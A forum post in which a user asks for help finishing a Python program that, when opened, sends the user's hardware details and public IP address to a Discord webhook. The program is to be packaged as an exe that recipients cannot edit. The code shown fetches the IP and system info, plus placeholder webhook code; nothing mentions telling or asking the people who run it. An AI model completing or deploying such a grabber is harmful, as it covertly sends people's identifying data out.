REPOST Due To Basically No One Viewing
I am currently working on a python program and im looking for the users computer data to be sent to a discord webhook, the idea is to be that the users Computer's hardware info would be sent to the webhook when they open the program it would also send their public IP address, After i have the program done it will be converted to an exe using pyinstaller so people can open it but they wont be able to edit it. Please see the code i have tried bellow and if anyone can edit/change the code so that it would work and would successfully send the user data over to the webhook that would be a massive help! Thanks
I took the discord webhook text from https://pypi.org/project/discord-webhook/
#getting system info
ip = get('https://api.ipify.org').text
print('Ip address=: {}'.format(ip))
print("="*40, "System Information", "="*40)
uname = platform.uname()
print(f"System: {uname.system}")
print(f"Node Name: {uname.node}")
print(f"Release: {uname.release}")
print(f"Version: {uname.version}")
print(f"Machine: {uname.machine}")
print(f"Processor: {uname.processor}")
#Discord webhook stuff
from discord_webhook import DiscordWebhook, DiscordEmbed
webhook = DiscordWebhook(url="your webhook url", username="New Webhook Username")
embed = DiscordEmbed(
title="Embed Title", description="Your Embed Description", color=242424
)
embed.set_author(
name="Author Name",
url="https://github.com/lovvskillz",
icon_url="https://avatars0.githubusercontent.com/u/14542790",
)
embed.set_footer(text="Embed Footer Text")
embed.set_timestamp()
# Set `inline=False` for the embed field to occupy the whole line
embed.add_embed_field(name="System", value="Lorem ipsum", inline=False)
embed.add_embed_field(name="Name", value="dolor sit", inline=False)
embed.add_embed_field(name="Version", value="amet consetetur")
embed.add_embed_field(name="Processor", value="sadipscing elitr")
webhook.add_embed(embed)
response = webhook.execute()
The system info bit works fine on its own it prints out all the info that you can see, the tricky part is the Discord section as im stuck on how to send the system data over to the discord webhook rather than it just printing out into the console.
Any help would be great
Thanks, Oliver
(I have removed any info such as the discord webhook i was using to stop people from logging into it)
与恶龙缠斗过久,自身亦成为恶龙;凝视深渊过久,深渊将回以凝视…